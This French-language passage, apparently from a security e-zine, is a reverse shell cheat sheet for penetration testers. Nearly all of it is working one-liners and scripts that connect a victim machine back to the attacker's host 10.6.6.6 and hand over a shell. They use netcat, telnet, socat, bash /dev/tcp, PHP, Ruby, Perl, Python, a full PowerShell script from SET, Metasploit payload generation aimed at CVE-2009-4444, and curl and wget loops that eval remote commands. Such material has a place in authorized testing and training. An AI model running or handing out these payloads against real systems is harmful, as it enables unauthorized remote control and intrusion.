--[ 12. Le saviez-vous ? La réponse ]------------------------------------ Pour tout les exemples suivants nous considérerons que les adresses IP suivantes : 10.11.12.13 : La victime 10.6.6.6 : Le consultant Sauf cas explicitement indiqué, le consultant aura simplement lancé la commande suivante sur son ordinateur : $ nc -l -p 8888 Celle-ci devrait être suffisante dans la majorité des cas. /* \x01 - Netcat */ Lorsque l'on dispose de l'option -e pour netcat, il suffit d'exécuter la commande : $ nc 10.6.6.6 8888 -e /bin/bash Toutes les versions de netcat ne disposent pas de cette option, mais ce n'est pas ce qui arrête un consultant motivé :) Une solution de contournement consiste à utiliser le premier netcat pour déposer la version plus 'flexible'. Mais cette solution peut être pénible et incertaine selon l'environnement. Nous allons donc simplement utiliser un tube nommé : $ mkfifo fifo $ nc 10.6.6.6 8888 < fifo | /bin/sh > fifo 2>&1 N.B. : Il est également possible d'utiliser mknod à la place de mkfifo : $ mknod fifo p /* \x02 - Telnet */ Pour telnet, l'ouverture d'un second port sera nécessaire sur l'ordinateur du consultant. On utilisera par exemple le port 9999 : $ nc -l -p 9999 Sur la machine distante, il suffira d'exécuter : $ telnet 10.6.6.6 8888 | /bin/sh | telnet 10.6.6.6 9999 Les commandes se passent alors par le premier telnet et arrivent sur le shell. Une fois exécutées, leurs réponses sont transmises au second telnet. /* \x03 - Socat */ Socat a également la faculté de lancer d'un coté une commande et d'ouvrir de l'autre coté une connexion distante. Le fonctionnement est donc relativement proche de celui de netcat : $ socat tcp-connect:10.6.6.6:8888 exec:'bash -li',pty,stderr,setsid,sigint,sane /* \x04 - Bash */ Bash dispose d'une fonctionnalité d'envoi de données directement dans une socket TCP, entre autres. Extrait du man de bash : /dev/tcp/host/port If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a TCP connection to the corresponding socket. Certaines distributions désactivent cette fonction considérée comme dangereuse. Par exemple, Fedora la désactive, Gentoo ne l'active pas par défaut (USE flag 'net') alors que Debian et Ubuntu ont laissé cette fonction activée par défaut. Dans le cas ou la redirection dans une socket TCP est disponible, il suffit d'exécuter la commande suivante : $ /bin/bash 0< /dev/tcp/10.6.6.6/8888 1>&0 2>&0 /* \x05 - PHP */ Il est toujours possible d'effectuer un appel à la fonction "system" tel que le fait le code suivant : Mais admettons que l'on ne puisse faire d'appel à cette fonction, que netcat (ou autre outil) ne soit pas disponible. La solution suivante est exploitable (en une seule ligne) : $ php -r '$socket = fsockopen("10.6.6.6", 8888,$errno,$errstr,10);\ $descriptorspec = array(0 => array("pipe", "r"), 1=> array("pipe", "w"),\ 2 => array("pipe", "r"));\ $process = proc_open("/bin/sh", $descriptorspec, $pipes);\ while(1){ $tocheck = array($pipes[1],$pipes[2],$socket);\ $int = stream_select($tocheck,$a =NULL,$b = NULL,0);\ if (in_array($pipes[1],$tocheck)) {$input = fread($pipes[1],4999);\ fwrite($socket,$input);} if (in_array($pipes[2],$tocheck)) \ {$input = fread($pipes[2],4999);fwrite($socket,$input);} \ if (in_array($socket,$tocheck)) \ { $input = fread($socket,4999);fwrite($pipes[0],$input);} }' /* \x06 - Ruby */ Ruby, comme tout autre langage de script, peut exécuter de manière simple un shell et le connecter à un service distante : $ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.6.6.6","8888");\ while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' /* \x07 - Perl */ Tout comme les autres langages, perl va permettre de créer un reverse shell en une seule ligne : $ perl -e "use IO::Socket; socket(SOCK, PF_INET, SOCK_STREAM,\ getprotobyname('tcp'));\ if(connect(SOCK, sockaddr_in(8888,inet_aton('10.6.6.6'))))\ {open(STDIN, '>&SOCK');open(STDERR, '>&SOCK');\ open(STDOUT, '>&SOCK');exec('/bin/sh');}" /* \x08 - Python */ Dans le même style, en Python : $ python -c "import sys, socket, os; \ handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM); \ handler.connect((str('10.6.6.6'), 8888)); os.dup2(handler.fileno(),\ sys.stdin.fileno()); os.dup2(handler.fileno(),sys.stdout.fileno());\ os.system('/bin/bash')" /* \x09 - Powershell */ Le script suivant à été extrait du Social-Engineer Toolkit (http://social-engineer.org/) de David Kennedy. Tout le mérite en revient donc à lui et aux personnes participant à ce projet. function cleanup { If ($client.Connected -eq $true) { $client.Close() } if ($process.ExitCode -ne $null) { $process.Close() } exit } function revshell { $address = '10.6.6.6' $port = '8888' $client = New-Object system.net.sockets.tcpclient $client.connect($address,$port) $stream = $client.GetStream() $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize $process = New-Object System.Diagnostics.Process $process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' $process.StartInfo.RedirectStandardInput = 1 $process.StartInfo.RedirectStandardOutput = 1 $process.StartInfo.UseShellExecute = 0 $process.Start() $inputstream = $process.StandardInput $outputstream = $process.StandardOutput Start-Sleep 1 $encoding = new-object System.Text.AsciiEncoding while($outputstream.Peek() -ne -1) { $out += $encoding.GetString($outputstream.Read()) } $stream.Write($encoding.GetBytes($out),0,$out.Length) $out = $null; $done = $false; $testing = 0; while (-not $done) { if ($client.Connected -ne $true) { cleanup } $pos = 0; $i = 1 while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos) $pos+=$read if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) { break } } if ($pos -gt 0) { $string = $encoding.GetString($networkbuffer,0,$pos) $inputstream.write($string) start-sleep 1 if ($process.ExitCode -ne $null) { cleanup } else { $out = $encoding.GetString($outputstream.Read()) while($outputstream.Peek() -ne -1) { $out += $encoding.GetString($outputstream.Read()) if ($out -eq $string) { $out = '' } } $stream.Write($encoding.GetBytes($out),0,$out.length) $out = $null $string = $null } } else { cleanup } } } revshell Pour des questions de lisibilité ce code à été reindenté mais lors d'un test d'intrusion, avoir une version plus compacte comme c'est le cas dans SET peut s'avérer salvateur et faire gagner un temps précieux. N.B. : L'exécution d'un script peut être bloqué par les restrictions de la politique d'exécution powershell. Sous Windows XP, la politique apr défaut est 'Restricted'. Pour exécuter un script lambda, il faudra activer la politique 'RemoteSigned' : $ set-executionpolicy RemoteSigned Cette restriction ne s'applique que sur les fichiers .ps1, pas sur les commandes directement injectées dans l'interpréteur de commande. /* \x0A - Metasploit */ Le framework Metasploit permet de simplifier grand nombre des tâches effectuées lors d'un test d'intrusion. Metasploit n'est pas seulement constitué de l'outil msfconsole, qui est le plus utilisé, mais aussi de nombreux scripts, tels que msfpayload et msfencode. msfpayload génère des charges utiles et msfencode créé des scripts exécutant la charge utile. Par exemple, pour exploiter le CVE-2009-4444, il faudra créer un reverse-shell contenu dans un script ASP. La commande suivante génère un tel script ASP : $ ./msfpayload windows/shell_reverse_tcp LHOST=10.6.6.6 LPORT=8888 \ EXITFUNC=thread R | \ % ./msfencode -t asp -o revshell.asp\;.txt La liste des payloads disponibles avec msfpayload est accessible via : $ msfpayload -h De même, la liste des scripts et langages pouvant inclure les payloads peut être obtenue via : $ msfencode -h Le nom du fichier (option -o de msfencode) correspond à l'exploitation de la faille CVE-2009-4444. Attention toutefois, une différence importante existe entre les payloads nommés shell/reverse_tcp et shell_reverse_tcp. Ceux contenant 'shell/reverse_tcp' sont une amorce, qui sera ensuite utilisée pour charger la charge utile. Ils sont donc d'une taille inférieure mais peuvent ne pas convenir dans tout les cas, du fait de leur nature. Les payloads contenant shell_reverse_tcp de leur coté contiennent l'ensemble de la charge utile et seront donc plus adapté à la création d'un binaire "générique". /* \x0B Curl */ Il est possible de faire un reverse shell "du pauvre" avec curl. À l'instar des webshell, ce dernier sera sans état et bien moins souple que ne le sont les exemples précédents. Il n'en reste pas moins utile et intéressant à mettre en place. Pour ce dernier, il faudra mettre en place un serveur web gérant le PHP sur la machine du consultant. Il faudra de plus quelques pré-requis, facilement repérables dans le script PHP : Voici le script shell utilisant curl : while [ "${var}" != "BYEBYE" ]; do var=`curl http://10.6.6.6/reverse.php?getcmd 2>/dev/null`; if [ -n "{$var}" ]; then eval "${var}" | curl http://10.6.6.6/reverse.php?send_output -F \ "file=@-;filename=output"; fi sleep 10; done Bien sur, il sera plus pratique de réduire ce script à une unique ligne de commande shell. /* \x0C wget */ Il est possible d'utiliser wget de la même façon que curl. Pour cela on mettra aussi en place le script PHP sur la machine du consultant. Le script appelant wget, sur la machine victime est de la forme suivante : while [ "${var}" != "BYEBYE" ]; do var=`wget -q -O - http://10.6.6.6/reverse.php?getcmd` if [ -n "${var}" ]; then eval "${var}" > /tmp/output wget -q -O - --post-file=/tmp/output \ http://10.6.6.6/reverse.php?send_output_wget fi sleep 10 done --- Guillaume Thiaux, Johann Broudin, Yves Le Provost